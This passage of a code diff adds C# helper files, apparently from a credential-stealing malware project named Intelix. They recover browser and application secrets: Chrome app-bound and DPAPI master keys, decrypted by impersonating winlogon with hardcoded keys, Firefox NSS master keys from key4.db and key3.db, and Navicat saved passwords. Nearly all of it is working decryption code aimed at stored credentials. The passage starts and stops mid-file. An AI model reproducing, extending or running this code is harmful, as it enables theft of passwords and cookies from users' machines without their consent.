Array.Clear(array, 0, array.Length);
Array.Clear(array2, 0, array2.Length);
throw new CryptographicException("ChaCha20-Poly1305 authentication failed (tag mismatch).");
}
byte[] array3 = new byte[ciphertext.Length];
ChaCha20Xor(key32, 1u, iv12, ciphertext, array3);
Array.Clear(array, 0, array.Length);
Array.Clear(array2, 0, array2.Length);
return array3;
}
private static byte[] ChaCha20Block(byte[] key32, uint counter, byte[] nonce12)
{
uint[] array = new uint[16]
{
1634760805u, 857760878u, 2036477234u, 1797285236u, 0u, 0u, 0u, 0u, 0u, 0u,
0u, 0u, 0u, 0u, 0u, 0u
};
for (int i = 0; i < 8; i++)
{
array[4 + i] = ToUInt32Little(key32, i * 4);
}
array[12] = counter;
array[13] = ToUInt32Little(nonce12, 0);
array[14] = ToUInt32Little(nonce12, 4);
array[15] = ToUInt32Little(nonce12, 8);
uint[] array2 = new uint[16];
Array.Copy(array, array2, 16);
for (int j = 0; j < 10; j++)
{
QuarterRound(ref array2[0], ref array2[4], ref array2[8], ref array2[12]);
QuarterRound(ref array2[1], ref array2[5], ref array2[9], ref array2[13]);
QuarterRound(ref array2[2], ref array2[6], ref array2[10], ref array2[14]);
QuarterRound(ref array2[3], ref array2[7], ref array2[11], ref array2[15]);
QuarterRound(ref array2[0], ref array2[5], ref array2[10], ref array2[15]);
QuarterRound(ref array2[1], ref array2[6], ref array2[11], ref array2[12]);
QuarterRound(ref array2[2], ref array2[7], ref array2[8], ref array2[13]);
QuarterRound(ref array2[3], ref array2[4], ref array2[9], ref array2[14]);
}
byte[] array3 = new byte[64];
for (int k = 0; k < 16; k++)
{
LittleEndian(array2[k] + array[k], array3, k * 4);
}
return array3;
}
private static void QuarterRound(ref uint a, ref uint b, ref uint c, ref uint d)
{
a += b;
d ^= a;
d = Rol(d, 16);
c += d;
b ^= c;
b = Rol(b, 12);
a += b;
d ^= a;
d = Rol(d, 8);
c += d;
b ^= c;
b = Rol(b, 7);
}
private static uint Rol(uint x, int n)
{
return (x << n) | (x >> 32 - n);
}
private static uint ToUInt32Little(byte[] bs, int off)
{
return (uint)(bs[off] | (bs[off + 1] << 8) | (bs[off + 2] << 16) | (bs[off + 3] << 24));
}
private static void LittleEndian(uint v, byte[] outbuf, int off)
{
outbuf[off] = (byte)(v & 0xFF);
outbuf[off + 1] = (byte)((v >> 8) & 0xFF);
outbuf[off + 2] = (byte)((v >> 16) & 0xFF);
outbuf[off + 3] = (byte)((v >> 24) & 0xFF);
}
private static void ChaCha20Xor(byte[] key, uint counter, byte[] nonce, byte[] input, byte[] output)
{
if (input == null || input.Length == 0)
{
return;
}
int i = 0;
uint num = counter;
int num2;
for (; i < input.Length; i += num2)
{
byte[] array = ChaCha20Block(key, num, nonce);
num++;
num2 = Math.Min(64, input.Length - i);
for (int j = 0; j < num2; j++)
{
output[i + j] = (byte)(input[i + j] ^ array[j]);
}
}
}
private static byte[] BuildPoly1305Message(byte[] aad, byte[] ciphertext)
{
int num = ((aad != null) ? aad.Length : 0);
int num2 = ((ciphertext != null) ? ciphertext.Length : 0);
int num3 = (16 - num % 16) % 16;
int num4 = (16 - num2 % 16) % 16;
byte[] array = new byte[num + num3 + num2 + num4 + 8 + 8];
int num5 = 0;
if (num > 0)
{
Buffer.BlockCopy(aad, 0, array, num5, num);
num5 += num;
}
if (num3 > 0)
{
num5 += num3;
}
if (num2 > 0)
{
Buffer.BlockCopy(ciphertext, 0, array, num5, num2);
num5 += num2;
}
if (num4 > 0)
{
num5 += num4;
}
byte[] bytes = BitConverter.GetBytes((ulong)num);
byte[] bytes2 = BitConverter.GetBytes((ulong)num2);
Buffer.BlockCopy(bytes, 0, array, num5, 8);
num5 += 8;
Buffer.BlockCopy(bytes2, 0, array, num5, 8);
num5 += 8;
return array;
}
private static byte[] Poly1305TagWithBigInteger(byte[] oneTimeKey32, byte[] msg)
{
byte[] array = new byte[16];
Buffer.BlockCopy(oneTimeKey32, 0, array, 0, 16);
array[3] &= 15;
array[7] &= 15;
array[11] &= 15;
array[15] &= 15;
array[4] &= 252;
array[8] &= 252;
array[12] &= 252;
byte[] array2 = new byte[16];
Buffer.BlockCopy(oneTimeKey32, 16, array2, 0, 16);
BigInteger bigInteger = new BigInteger(AppendZero(array));
BigInteger bigInteger2 = new BigInteger(AppendZero(array2));
BigInteger bigInteger3 = (BigInteger.One << 130) - 5;
BigInteger bigInteger4 = BigInteger.Zero;
for (int i = 0; i < msg.Length; i += 16)
{
int num = Math.Min(16, msg.Length - i);
byte[] array3 = new byte[num];
Buffer.BlockCopy(msg, i, array3, 0, num);
BigInteger bigInteger5 = new BigInteger(AppendZero(array3));
BigInteger bigInteger6 = BigInteger.One << 8 * num;
bigInteger5 += bigInteger6;
bigInteger4 += bigInteger5;
bigInteger4 = bigInteger4 * bigInteger % bigInteger3;
}
byte[] array4 = (bigInteger4 + bigInteger2).ToByteArray();
byte[] array5 = new byte[16];
for (int j = 0; j < 16 && j < array4.Length; j++)
{
array5[j] = array4[j];
}
return array5;
}
private static byte[] AppendZero(byte[] b)
{
byte[] array = new byte[b.Length + 1];
Buffer.BlockCopy(b, 0, array, 0, b.Length);
array[array.Length - 1] = 0;
return array;
}
private static bool FixedTimeEquals(byte[] a, byte[] b)
{
if (a == null || b == null || a.Length != b.Length)
{
return false;
}
int num = 0;
for (int i = 0; i < a.Length; i++)
{
num |= a[i] ^ b[i];
}
return num == 0;
}
}
@@ -0,0 +1,51 @@
using System;
namespace Intelix.Helper.Encrypted;
public static class CngDecryptor
{
private const int NCRYPT_SILENT_FLAG = 64;
public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1")
{
IntPtr phProvider = IntPtr.Zero;
IntPtr phKey = IntPtr.Zero;
try
{
int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0);
if (num != 0)
{
throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}");
}
num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0);
if (num != 0)
{
throw new Exception($"Ошибка NCryptOpenKey: Код {num}");
}
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64);
if (num != 0)
{
throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}");
}
byte[] array = new byte[pcbResult];
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64);
if (num != 0)
{
throw new Exception($"Ошибка NCryptDecrypt: Код {num}");
}
Array.Resize(ref array, pcbResult);
return array;
}
finally
{
if (phKey != IntPtr.Zero)
{
NativeMethods.NCryptFreeObject(phKey);
}
if (phProvider != IntPtr.Zero)
{
NativeMethods.NCryptFreeObject(phProvider);
}
}
}
}
@@ -0,0 +1,48 @@
using System;
using System.Runtime.InteropServices;
namespace Intelix.Helper.Encrypted;
public static class DpApi
{
private static NativeMethods.CryptprotectPromptstruct Prompt = new NativeMethods.CryptprotectPromptstruct
{
cbSize = Marshal.SizeOf(typeof(NativeMethods.CryptprotectPromptstruct)),
dwPromptFlags = 0,
hwndApp = IntPtr.Zero,
szPrompt = null
};
public static byte[] Decrypt(byte[] bCipher)
{
NativeMethods.DataBlob pDataIn = default(NativeMethods.DataBlob);
NativeMethods.DataBlob pDataOut = default(NativeMethods.DataBlob);
NativeMethods.DataBlob pOptionalEntropy = default(NativeMethods.DataBlob);
string ppszDataDescr = string.Empty;
GCHandle gCHandle = GCHandle.Alloc(bCipher, GCHandleType.Pinned);
pDataIn.cbData = bCipher.Length;
pDataIn.pbData = gCHandle.AddrOfPinnedObject();
try
{
if (!NativeMethods.CryptUnprotectData(ref pDataIn, ref ppszDataDescr, ref pOptionalEntropy, IntPtr.Zero, ref Prompt, 0, ref pDataOut) || pDataOut.cbData == 0)
{
return null;
}
byte[] array = new byte[pDataOut.cbData];
Marshal.Copy(pDataOut.pbData, array, 0, pDataOut.cbData);
return array;
}
finally
{
gCHandle.Free();
if (pDataOut.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(pDataOut.pbData);
}
if (pOptionalEntropy.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(pOptionalEntropy.pbData);
}
}
}
}
@@ -0,0 +1,68 @@
using System;
using System.Text;
using Intelix.Helper.Sql;
namespace Intelix.Helper.Encrypted;
public static class LocalEncryptor
{
public static byte[] ExtractEncryptionKey(SqLite sql, byte[] encryptionKey)
{
byte[] array = new byte[0];
if (sql.ReadTable("meta"))
{
for (int i = 0; i < sql.GetRowCount(); i++)
{
if (sql.GetValue(i, 0).Equals("local_encryptor_data"))
{
array = Encoding.Default.GetBytes(sql.GetValue(i, 1));
break;
}
}
}
int num = FindByteSequence(array, Encoding.ASCII.GetBytes("v10"));
if (num == -1)
{
return null;
}
byte[] array2 = new byte[96];
Array.Copy(array, num + 3, array2, 0, 96);
byte[] array3 = new byte[12];
Array.Copy(array2, 0, array3, 0, 12);
int num2 = array2.Length - 12 - 16;
byte[] array4 = new byte[num2];
Array.Copy(array2, 12, array4, 0, num2);
byte[] array5 = new byte[16];
Array.Copy(array2, array2.Length - 16, array5, 0, 16);
byte[] array6 = AesGcm256.Decrypt(encryptionKey, array3, null, array4, array5);
if (BitConverter.ToInt32(array6, 0) == 538050824)
{
byte[] array7 = new byte[32];
Array.Copy(array6, 4, array7, 0, 32);
return array7;
}
return null;
}
private static int FindByteSequence(byte[] src, byte[] pattern)
{
int num = src.Length - pattern.Length + 1;
for (int i = 0; i < num; i++)
{
if (src[i] != pattern[0])
{
continue;
}
int num2 = pattern.Length - 1;
while (num2 >= 1 && src[i + num2] == pattern[num2])
{
if (num2 == 1)
{
return i;
}
num2--;
}
}
return -1;
}
}
@@ -0,0 +1,226 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
namespace Intelix.Helper.Encrypted;
public static class LocalState
{
private static readonly ConcurrentDictionary<string, Lazy<byte[]>> _masterKeyCacheV10 = new ConcurrentDictionary<string, Lazy<byte[]>>();
private static readonly ConcurrentDictionary<string, Lazy<byte[]>> _masterKeyCacheV20 = new ConcurrentDictionary<string, Lazy<byte[]>>();
private static readonly ConcurrentDictionary<string, SemaphoreSlim> _locks = new ConcurrentDictionary<string, SemaphoreSlim>();
public static List<string[]> GetMasterKeys()
{
List<string[]> list = new List<string[]>();
foreach (KeyValuePair<string, Lazy<byte[]>> item in _masterKeyCacheV10)
{
try
{
string text = item.Key ?? "";
Lazy<byte[]> value = item.Value;
if (value == null)
{
continue;
}
byte[] value2 = value.Value;
if (value2 != null)
{
StringBuilder stringBuilder = new StringBuilder(value2.Length * 2);
byte[] array = value2;
foreach (byte b in array)
{
stringBuilder.Append(b.ToString("X2"));
}
list.Add(new string[3]
{
text,
"v10",
stringBuilder.ToString()
});
}
}
catch
{
}
}
foreach (KeyValuePair<string, Lazy<byte[]>> item2 in _masterKeyCacheV20)
{
try
{
string text2 = item2.Key ?? "";
Lazy<byte[]> value3 = item2.Value;
if (value3 == null)
{
continue;
}
byte[] value4 = value3.Value;
if (value4 != null)
{
StringBuilder stringBuilder2 = new StringBuilder(value4.Length * 2);
byte[] array = value4;
foreach (byte b2 in array)
{
stringBuilder2.Append(b2.ToString("X2"));
}
list.Add(new string[3]
{
text2,
"v20",
stringBuilder2.ToString()
});
}
}
catch
{
}
}
return list;
}
public static byte[] MasterKeyV20(string localstate)
{
SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1));
orAdd.Wait();
try
{
if (_masterKeyCacheV20.TryGetValue(localstate, out var value))
{
return value.Value;
}
Lazy<byte[]> lazy = new Lazy<byte[]>(() => ComputeMasterKeyV20(localstate));
_masterKeyCacheV20[localstate] = lazy;
return lazy.Value;
}
finally
{
orAdd.Release();
}
}
private static byte[] ComputeMasterKeyV20(string localstate)
{
try
{
Match match = Regex.Match(LocalStateContent(localstate), "\"app_bound_encrypted_key\"\\s*:\\s*\"([^\"]+)\"");
if (!match.Success)
{
return null;
}
BlobParsedData blobParsedData = ParseKeyBlob.Parse(DecryptAsSystemUser(Convert.FromBase64String(match.Groups[1].Value).Skip(4).ToArray()));
switch (blobParsedData.Flag)
{
case 1:
return AesGcm256.Decrypt(new byte[32]
{
179, 28, 110, 36, 26, 200, 70, 114, 141, 169,
193, 250, 196, 147, 102, 81, 207, 251, 148, 77,
20, 58, 184, 22, 39, 107, 204, 109, 160, 40,
71, 135
}, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag);
case 2:
return ChaCha20Poly1305.Decrypt(new byte[32]
{
233, 143, 55, 215, 244, 225, 250, 67, 61, 25,
48, 77, 194, 37, 128, 66, 9, 14, 45, 29,
126, 234, 118, 112, 212, 31, 115, 141, 8, 114,
150, 96
}, blobParsedData.Iv, blobParsedData.Ciphertext, blobParsedData.Tag);
case 3:
{
byte[] array = new byte[32]
{
204, 248, 161, 206, 197, 102, 5, 184, 81, 117,
82, 186, 26, 45, 6, 28, 3, 162, 158, 144,
39, 79, 178, 252, 245, 155, 164, 183, 92, 57,
35, 144
};
byte[] array2 = CDecryptor(blobParsedData.EncryptedAesKey);
for (int i = 0; i < array2.Length; i++)
{
array2[i] ^= array[i];
}
return AesGcm256.Decrypt(array2, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag);
}
case 32:
return blobParsedData.EncryptedAesKey;
default:
return null;
}
}
catch
{
return null;
}
}
public static byte[] MasterKeyV10(string localstate)
{
SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1));
orAdd.Wait();
try
{
if (_masterKeyCacheV10.TryGetValue(localstate, out var value))
{
return value.Value;
}
Lazy<byte[]> lazy = new Lazy<byte[]>(() => ComputeMasterKeyV10(localstate));
_masterKeyCacheV10[localstate] = lazy;
return lazy.Value;
}
finally
{
orAdd.Release();
}
}
private static byte[] ComputeMasterKeyV10(string localstate)
{
try
{
Match match = Regex.Match(LocalStateContent(localstate), "\"encrypted_key\":\"(.*?)\"");
if (!match.Success)
{
return null;
}
return DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value).Skip(5).ToArray());
}
catch
{
return null;
}
}
private static byte[] CDecryptor(byte[] encryptedData)
{
using (ImpersonationHelper.ImpersonateWinlogon())
{
return CngDecryptor.Decrypt(encryptedData);
}
}
private static byte[] DecryptAsSystemUser(byte[] encryptedData)
{
using (ImpersonationHelper.ImpersonateWinlogon())
{
encryptedData = DpApi.Decrypt(encryptedData);
}
return DpApi.Decrypt(encryptedData);
}
private static string LocalStateContent(string localstate)
{
string text = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
File.Copy(localstate, text, overwrite: true);
string result = File.ReadAllText(text);
File.Delete(text);
return result;
}
}
@@ -0,0 +1,80 @@
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Intelix.Helper.Encrypted;
public static class NSSDecryptor
{
public struct SECItem
{
public int Type;
public IntPtr Data;
public int Len;
}
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int NSS_Init(string configdir);
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int NSS_Shutdown();
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int PK11SDR_Decrypt(ref SECItem data, ref SECItem result, int cx);
public static bool Initialize(string profilePath)
{
try
{
string text = "C:\\Program Files\\Mozilla Firefox";
if (!Directory.Exists(text))
{
return false;
}
string environmentVariable = Environment.GetEnvironmentVariable("PATH");
environmentVariable = environmentVariable + ";" + text;
Environment.SetEnvironmentVariable("PATH", environmentVariable);
return NSS_Init(profilePath) == 0;
}
catch
{
return false;
}
}
public static string Decrypt(string base64)
{
try
{
byte[] array = Convert.FromBase64String(base64);
if (array.Length == 0)
{
return null;
}
SECItem data = new SECItem
{
Data = Marshal.AllocHGlobal(array.Length),
Len = array.Length,
Type = 0
};
Marshal.Copy(array, 0, data.Data, array.Length);
SECItem result = default(SECItem);
int num = PK11SDR_Decrypt(ref data, ref result, 0);
Marshal.FreeHGlobal(data.Data);
if (num != 0 || result.Data == IntPtr.Zero)
{
return null;
}
byte[] array2 = new byte[result.Len];
Marshal.Copy(result.Data, array2, 0, result.Len);
return Encoding.UTF8.GetString(array2);
}
catch
{
return null;
}
}
}
@@ -0,0 +1,64 @@
using System;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
namespace Intelix.Helper.Encrypted;
public class Navicat11Cipher
{
private Blowfish blowfishCipher;
protected byte[] StringToByteArray(string hex)
{
return (from x in Enumerable.Range(0, hex.Length)
where x % 2 == 0
select Convert.ToByte(hex.Substring(x, 2), 16)).ToArray();
}
protected void XorBytes(byte[] a, byte[] b, int len)
{
for (int i = 0; i < len; i++)
{
a[i] ^= b[i];
}
}
public Navicat11Cipher()
{
byte[] array = new byte[8] { 51, 68, 67, 53, 67, 65, 51, 57 };
using SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider();
sHA1CryptoServiceProvider.TransformFinalBlock(array, 0, array.Length);
blowfishCipher = new Blowfish(sHA1CryptoServiceProvider.Hash);
}
public string DecryptString(string ciphertext)
{
byte[] array = StringToByteArray(ciphertext);
byte[] array2 = Enumerable.Repeat(byte.MaxValue, blowfishCipher.BlockSize).ToArray();
blowfishCipher.Encrypt(array2, Blowfish.Endian.Big);
byte[] array3 = new byte[0];
int num = array.Length / blowfishCipher.BlockSize;
int num2 = array.Length % blowfishCipher.BlockSize;
byte[] array4 = new byte[blowfishCipher.BlockSize];
byte[] array5 = new byte[blowfishCipher.BlockSize];
for (int i = 0; i < num; i++)
{
Array.Copy(array, blowfishCipher.BlockSize * i, array4, 0, blowfishCipher.BlockSize);
Array.Copy(array4, array5, blowfishCipher.BlockSize);
blowfishCipher.Decrypt(array4, Blowfish.Endian.Big);
XorBytes(array4, array2, blowfishCipher.BlockSize);
array3 = array3.Concat(array4).ToArray();
XorBytes(array2, array5, blowfishCipher.BlockSize);
}
if (num2 != 0)
{
Array.Clear(array4, 0, array4.Length);
Array.Copy(array, blowfishCipher.BlockSize * num, array4, 0, num2);
blowfishCipher.Encrypt(array2, Blowfish.Endian.Big);
XorBytes(array4, array2, blowfishCipher.BlockSize);
array3 = array3.Concat(array4.Take(num2).ToArray()).ToArray();
}
return Encoding.UTF8.GetString(array3);
}
}
@@ -0,0 +1,178 @@
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Text;
using Intelix.Helper.Hashing;
using Intelix.Helper.Sql;
namespace Intelix.Helper.Encrypted;
public static class NssDumpMasterKey
{
public static byte[] Key4Database(string path)
{
Asn1Der asn1Der = new Asn1Der();
SqLite sqLite = SqLite.ReadTable(path, "metaData");
if (sqLite == null)
{
return null;
}
for (int i = 0; i < sqLite.GetRowCount(); i++)
{
if (sqLite.GetValue(i, 0) != "password")
{
continue;
}
byte[] bytes = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 1));
byte[] bytes2 = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 2));
if (bytes.Length < 1 || bytes2.Length < 1)
{
continue;
}
Asn1DerObject asn1DerObject = asn1Der.Parse(bytes2);
string text = asn1DerObject.ToString();
if (text == null)
{
continue;
}
if (text.Contains("2A864886F70D010C050103"))
{
byte[] array = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Data;
byte[] array2 = asn1DerObject.Objects[0]?.Objects[1]?.Data;
if (array == null || array2 == null)
{
continue;
}
byte[] bytes3 = new TripleDes(array2, bytes, new byte[0], array).Compute();
if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes3).StartsWith("password-check"))
{
continue;
}
}
else
{
if (!text.Contains("2A864886F70D01050D"))
{
continue;
}
byte[] array3 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Objects[1]?.Objects[0]?.Data;
byte[] array4 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[2]?.Objects[1]?.Data;
byte[] array5 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[3]?.Data;
if (array3 == null || array4 == null || array5 == null)
{
continue;
}
byte[] bytes4 = new PBE(array5, bytes, new byte[0], array3, array4).Compute();
if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes4).StartsWith("password-check"))
{
continue;
}
}
sqLite = SqLite.ReadTable(path, "nssPrivate");
if (sqLite != null)
{
int num = 0;
if (num < sqLite.GetRowCount())
{
byte[] bytes5 = Encoding.UTF8.GetBytes(sqLite.GetValue(num, 6));
Asn1DerObject asn1DerObject2 = asn1Der.Parse(bytes5);
byte[] sourceArray = new PBE(entrySalt: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[0].Objects[1].Objects[0].Data, partIv: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[2].Objects[1].Data, ciphertext: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[3].Data, globalSalt: bytes, masterPassword: new byte[0]).Compute();
byte[] array6 = new byte[24];
Array.Copy(sourceArray, array6, array6.Length);
return array6;
}
}
}
return null;
}
public static byte[] Key3Database(string path)
{
byte[] array = File.ReadAllBytes(path);
if (array == null)
{
return null;
}
Asn1Der asn1Der = new Asn1Der();
BerkeleyDB berkeleyDB = new BerkeleyDB(array);
string text = berkeleyDB.Keys.Where(delegate(KeyValuePair<string, string> p)
{
KeyValuePair<string, string> keyValuePair = p;
return keyValuePair.Key.Equals("password-check");
}).Select(delegate(KeyValuePair<string, string> p)
{
KeyValuePair<string, string> keyValuePair = p;
return keyValuePair.Value;
}).FirstOrDefault();
if (text == null)
{
return null;
}
text = text.Replace("-", null);
int num = int.Parse(text.Substring(2, 2), NumberStyles.HexNumber) * 2;
string hexString = text.Substring(6, num);
int num2 = text.Length - (6 + num + 36);
string hexString2 = text.Substring(6 + num + 4 + num2);
string text2 = berkeleyDB.Keys.Where(delegate(KeyValuePair<string, string> p)
{
KeyValuePair<string, string> keyValuePair = p;
return keyValuePair.Key.Equals("global-salt");
}).Select(delegate(KeyValuePair<string, string> p)
{
KeyValuePair<string, string> keyValuePair = p;
return keyValuePair.Value;
}).FirstOrDefault();
if (text2 == null)
{
return null;
}
text2 = text2.Replace("-", null);
TripleDes tripleDes = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), HexToBytes(hexString));
tripleDes.ComputeVoid();
if (!TripleDes.DecryptStringDesCbc(tripleDes.Key, tripleDes.Vector, HexToBytes(hexString2)).StartsWith("password-check"))
{
return null;
}
string text3 = (from p in berkeleyDB.Keys
where !p.Key.Equals("global-salt") && !p.Key.Equals("Version") && !p.Key.Equals("password-check")
select p.Value).FirstOrDefault();
if (text3 == null)
{
return null;
}
text3 = text3.Replace("-", "");
Asn1DerObject asn1DerObject = asn1Der.Parse(HexToBytes(text3));
TripleDes tripleDes2 = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), asn1DerObject.Objects[0].Objects[0].Objects[1].Objects[0].Data);
tripleDes2.ComputeVoid();
byte[] toParse = TripleDes.DecryptByteDesCbc(tripleDes2.Key, tripleDes2.Vector, asn1DerObject.Objects[0].Objects[1].Data);
Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse);
Asn1DerObject asn1DerObject3 = asn1Der.Parse(asn1DerObject2.Objects[0].Objects[2].Data);
byte[] array2 = new byte[24];
if (asn1DerObject3.Objects[0].Objects[3].Data.Length > 24)
{
Array.Copy(asn1DerObject3.Objects[0].Objects[3].Data, asn1DerObject3.Objects[0].Objects[3].Data.Length - 24, array2, 0, 24);
}
else
{
array2 = asn1DerObject3.Objects[0].Objects[3].Data;
}
return array2;
}
public static byte[] HexToBytes(string hexString)
{
if (hexString.Length % 2 != 0)
{
return null;
}
byte[] array = new byte[hexString.Length / 2];
for (int i = 0; i < array.Length; i++)
{
string s = hexString.Substring(i * 2, 2);
array[i] = byte.Parse(s, NumberStyles.HexNumber, CultureInfo.InvariantCulture);
}
return array;
}
}
@@ -0,0 +1,50 @@
namespace Intelix.Helper.Encrypted;
public class RC4Crypt
{
public static byte[] Decrypt(byte[] key, byte[] data)
{
if (key == null)
{
return null;
}
if (key.Length == 0)
{
return null;
}
if (data == null)
{
return null;
}
byte[] array = new byte[256];
for (int i = 0; i < 256; i++)
{
array[i] = (byte)i;
}
int num = 0;
for (int j = 0; j < 256; j++)
{
num = (num + array[j] + key[j % key.Length]) & 0xFF;
Swap(array, j, num);
}
byte[] array2 = new byte[data.Length];
int num2 = 0;
num = 0;
for (int k = 0; k < data.Length; k++)
{
num2 = (num2 + 1) & 0xFF;
num = (num + array[num2]) & 0xFF;
Swap(array, num2, num);
byte b = array[(array[num2] + array[num]) & 0xFF];
array2[k] = (byte)(data[k] ^ b);
}
return array2;
}
private static void Swap(byte[] arr, int a, int b)
{
byte b2 = arr[a];
arr[a] = arr[b];
arr[b] = b2;
}
}
@@ -0,0 +1,163 @@
using System;
using System.IO;
using System.Security.Cryptography;
namespace Intelix.Helper.Encrypted;
internal class TripleDes
{
private byte[] CipherText { get; }
private byte[] GlobalSalt { get; }
private byte[] MasterPassword { get; }
private byte[] EntrySalt { get; }
public byte[] Key { get; private set; }
public byte[] Vector { get; private set; }
public TripleDes(byte[] cipherText, byte[] globalSalt, byte[] masterPass, byte[] entrySalt)
{
CipherText = cipherText;
GlobalSalt = globalSalt;
MasterPassword = masterPass;
EntrySalt = entrySalt;
}
public TripleDes(byte[] globalSalt, byte[] masterPassword, byte[] entrySalt)
{
GlobalSalt = globalSalt;
MasterPassword = masterPassword;
EntrySalt = entrySalt;
}
public void ComputeVoid()
{
SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider();
byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length];
Array.Copy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
Array.Copy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length);
byte[] array2 = sHA1CryptoServiceProvider.ComputeHash(array);
byte[] array3 = new byte[array2.Length + EntrySalt.Length];
Array.Copy(array2, 0, array3, 0, array2.Length);
Array.Copy(EntrySalt, 0, array3, array2.Length, EntrySalt.Length);
byte[] key = sHA1CryptoServiceProvider.ComputeHash(array3);
byte[] array4 = new byte[20];
Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length);
for (int i = EntrySalt.Length; i < 20; i++)
{
array4[i] = 0;
}
byte[] array5 = new byte[array4.Length + EntrySalt.Length];
Array.Copy(array4, 0, array5, 0, array4.Length);
Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length);
byte[] array6;
byte[] array9;
using (HMACSHA1 hMACSHA = new HMACSHA1(key))
{
array6 = hMACSHA.ComputeHash(array5);
byte[] array7 = hMACSHA.ComputeHash(array4);
byte[] array8 = new byte[array7.Length + EntrySalt.Length];
Array.Copy(array7, 0, array8, 0, array7.Length);
Array.Copy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length);
array9 = hMACSHA.ComputeHash(array8);
}
byte[] array10 = new byte[array6.Length + array9.Length];
Array.Copy(array6, 0, array10, 0, array6.Length);
Array.Copy(array9, 0, array10, array6.Length, array9.Length);
Key = new byte[24];
for (int j = 0; j < Key.Length; j++)
{
Key[j] = array10[j];
}
Vector = new byte[8];
int num = Vector.Length - 1;
for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--)
{
Vector[num] = array10[num2];
num--;
}
}
public byte[] Compute()
{
byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length];
Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
Buffer.BlockCopy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length);
byte[] array2 = new SHA1Managed().ComputeHash(array);
byte[] array3 = new byte[array2.Length + EntrySalt.Length];
Buffer.BlockCopy(array2, 0, array3, 0, array2.Length);
Buffer.BlockCopy(EntrySalt, 0, array3, EntrySalt.Length, array2.Length);
byte[] key = new SHA1Managed().ComputeHash(array3);
byte[] array4 = new byte[20];
Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length);
for (int i = EntrySalt.Length; i < 20; i++)
{
array4[i] = 0;
}
byte[] array5 = new byte[array4.Length + EntrySalt.Length];
Array.Copy(array4, 0, array5, 0, array4.Length);
Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length);
byte[] array6;
byte[] array9;
using (HMACSHA1 hMACSHA = new HMACSHA1(key))
{
array6 = hMACSHA.ComputeHash(array5);
byte[] array7 = hMACSHA.ComputeHash(array4);
byte[] array8 = new byte[array7.Length + EntrySalt.Length];
Buffer.BlockCopy(array7, 0, array8, 0, array7.Length);
Buffer.BlockCopy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length);
array9 = hMACSHA.ComputeHash(array8);
}
byte[] array10 = new byte[array6.Length + array9.Length];
Array.Copy(array6, 0, array10, 0, array6.Length);
Array.Copy(array9, 0, array10, array6.Length, array9.Length);
Key = new byte[24];
for (int j = 0; j < Key.Length; j++)
{
Key[j] = array10[j];
}
Vector = new byte[8];
int num = Vector.Length - 1;
for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--)
{
Vector[num] = array10[num2];
num--;
}
byte[] sourceArray = DecryptByteDesCbc(Key, Vector, CipherText);
byte[] array11 = new byte[24];
Array.Copy(sourceArray, array11, array11.Length);
return array11;
}
public static string DecryptStringDesCbc(byte[] key, byte[] iv, byte[] input)
{
using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = key;
